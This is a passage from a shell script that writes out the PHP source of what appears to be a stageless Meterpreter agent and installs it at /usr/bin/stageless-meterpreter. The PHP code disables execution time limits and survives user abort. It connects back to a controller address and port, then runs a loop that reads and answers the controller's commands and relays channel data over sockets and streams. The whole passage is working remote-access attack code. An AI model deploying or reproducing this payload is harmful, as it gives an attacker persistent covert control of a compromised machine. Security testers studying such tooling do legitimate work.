\$buff .= socket_read(\$resource, \$len, PHP_BINARY_READ);
}
break;
case 'stream':
global \$msgsock;
\$r = Array(
\$resource
);
my_print("Calling select to see if there's data on \$resource");
while (true) {
\$w = NULL;
\$e = NULL;
\$t = 0;
\$cnt = stream_select(\$r, \$w, \$e, \$t);
if (\$cnt === 0) {
break;
}
if (\$cnt === false or feof(\$resource)) {
my_print("Checking for failed read...");
if (empty(\$buff)) {
my_print("---- EOF ON \$resource ----");
\$buff = false;
}
break;
}
\$md = stream_get_meta_data(\$resource);
dump_array(\$md);
if (\$md['unread_bytes'] > 0) {
\$buff .= fread(\$resource, \$md['unread_bytes']);
break;
} else {
\$tmp = fread(\$resource, \$len);
\$buff .= \$tmp;
if (strlen(\$tmp) < \$len) {
break;
}
}
if (\$resource != \$msgsock) {
my_print("buff: '\$buff'");
}
\$r = Array(
\$resource
);
}
my_print(sprintf("Done with the big read loop on \$resource, got %d bytes", strlen(\$buff)));
break;
default:
\$cid = get_channel_id_from_resource(\$resource);
\$c = get_channel_by_id(\$cid);
if (\$c and \$c['data']) {
\$buff = substr(\$c['data'], 0, \$len);
\$c['data'] = substr(\$c['data'], \$len);
my_print("Aha! got some leftovers");
} else {
my_print("Wtf don't know how to read from resource \$resource, c: \$c");
if (is_array(\$c)) {
dump_array(\$c);
}
break;
}
}
my_print(sprintf("Read %d bytes", strlen(\$buff)));
return \$buff;
}
function write(\$resource, \$buff, \$len = 0)
{
global \$udp_host_map;
if (\$len == 0) {
\$len = strlen(\$buff);
}
\$count = false;
switch (get_rtype(\$resource)) {
case 'socket':
if (array_key_exists((int) \$resource, \$udp_host_map)) {
my_print("Writing UDP socket");
list(\$host, \$port) = \$udp_host_map[(int) \$resource];
\$count = socket_sendto(\$resource, \$buff, \$len, \$host, \$port);
} else {
\$count = socket_write(\$resource, \$buff, \$len);
}
break;
case 'stream':
\$count = fwrite(\$resource, \$buff, \$len);
fflush(\$resource);
break;
default:
my_print("Wtf don't know how to write to resource \$resource");
break;
}
return \$count;
}
function get_rtype(\$resource)
{
global \$resource_type_map;
if (array_key_exists((int) \$resource, \$resource_type_map)) {
return \$resource_type_map[(int) \$resource];
}
return false;
}
function select(&\$r, &\$w, &\$e, \$tv_sec = 0, \$tv_usec = 0)
{
\$streams_r = array();
\$streams_w = array();
\$streams_e = array();
\$sockets_r = array();
\$sockets_w = array();
\$sockets_e = array();
if (\$r) {
foreach (\$r as \$resource) {
switch (get_rtype(\$resource)) {
case 'socket':
\$sockets_r[] = \$resource;
break;
case 'stream':
\$streams_r[] = \$resource;
break;
default:
my_print("Unknown resource type");
break;
}
}
}
if (\$w) {
foreach (\$w as \$resource) {
switch (get_rtype(\$resource)) {
case 'socket':
\$sockets_w[] = \$resource;
break;
case 'stream':
\$streams_w[] = \$resource;
break;
default:
my_print("Unknown resource type");
break;
}
}
}
if (\$e) {
foreach (\$e as \$resource) {
switch (get_rtype(\$resource)) {
case 'socket':
\$sockets_e[] = \$resource;
break;
case 'stream':
\$streams_e[] = \$resource;
break;
default:
my_print("Unknown resource type");
break;
}
}
}
\$n_sockets = count(\$sockets_r) + count(\$sockets_w) + count(\$sockets_e);
\$n_streams = count(\$streams_r) + count(\$streams_w) + count(\$streams_e);
\$r = array();
\$w = array();
\$e = array();
if (count(\$sockets_r) == 0) {
\$sockets_r = null;
}
if (count(\$sockets_w) == 0) {
\$sockets_w = null;
}
if (count(\$sockets_e) == 0) {
\$sockets_e = null;
}
if (count(\$streams_r) == 0) {
\$streams_r = null;
}
if (count(\$streams_w) == 0) {
\$streams_w = null;
}
if (count(\$streams_e) == 0) {
\$streams_e = null;
}
\$count = 0;
if (\$n_sockets > 0) {
\$res = socket_select(\$sockets_r, \$sockets_w, \$sockets_e, \$tv_sec, \$tv_usec);
if (false === \$res) {
return false;
}
if (is_array(\$r) && is_array(\$sockets_r)) {
\$r = array_merge(\$r, \$sockets_r);
}
if (is_array(\$w) && is_array(\$sockets_w)) {
\$w = array_merge(\$w, \$sockets_w);
}
if (is_array(\$e) && is_array(\$sockets_e)) {
\$e = array_merge(\$e, \$sockets_e);
}
\$count += \$res;
}
if (\$n_streams > 0) {
\$res = stream_select(\$streams_r, \$streams_w, \$streams_e, \$tv_sec, \$tv_usec);
if (false === \$res) {
return false;
}
if (is_array(\$r) && is_array(\$streams_r)) {
\$r = array_merge(\$r, \$streams_r);
}
if (is_array(\$w) && is_array(\$streams_w)) {
\$w = array_merge(\$w, \$streams_w);
}
if (is_array(\$e) && is_array(\$streams_e)) {
\$e = array_merge(\$e, \$streams_e);
}
\$count += \$res;
}
return \$count;
}
function add_reader(\$resource)
{
global \$readers;
if (is_resource(\$resource) && !in_array(\$resource, \$readers)) {
\$readers[] = \$resource;
}
}
function remove_reader(\$resource)
{
global \$readers;
if (in_array(\$resource, \$readers)) {
foreach (\$readers as \$key => \$r) {
if (\$r == \$resource) {
unset(\$readers[\$key]);
}
}
}
}
ob_implicit_flush();
@ignore_user_abort(true);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
if (!isset(\$GLOBALS['msgsock'])) {
my_print("Don't have a msgsock, trying to connect(\$ipaddr, \$port)");
\$msgsock = connect(\$ipaddr, \$port);
if (!\$msgsock) {
die();
}
} else {
\$msgsock = \$GLOBALS['msgsock'];
\$msgsock_type = \$GLOBALS['msgsock_type'];
switch (\$msgsock_type) {
case 'socket':
register_socket(\$msgsock);
break;
case 'stream':
default:
register_stream(\$msgsock);
}
}
add_reader(\$msgsock);
\$r = \$GLOBALS['readers'];
\$w = NULL;
\$e = NULL;
\$t = 1;
while (false !== (\$cnt = select(\$r, \$w, \$e, \$t))) {
\$read_failed = false;
for (\$i = 0; \$i < \$cnt; \$i++) {
\$ready = \$r[\$i];
if (\$ready == \$msgsock) {
\$request = read(\$msgsock, 8);
if (false == \$request) {
break 2;
}
\$a = unpack("Nlen/Ntype", \$request);
\$len = \$a['len'];
\$ptype = \$a['type'];
while (strlen(\$request) < \$a['len']) {
\$request .= read(\$msgsock, \$len - strlen(\$request));
}
\$response = create_response(\$request);
write(\$msgsock, \$response);
} else {
\$data = read(\$ready);
if (false === \$data) {
handle_dead_resource_channel(\$ready);
} elseif (strlen(\$data) > 0) {
my_print(sprintf("Read returned %s bytes", strlen(\$data)));
\$request = handle_resource_read_channel(\$ready, \$data);
if (\$request) {
write(\$msgsock, \$request);
}
}
}
}
\$r = \$GLOBALS['readers'];
}
my_print("Finished");
my_print("--------------------");
close(\$msgsock);
EOF
chmod +x /usr/bin/stageless-meterpreter
}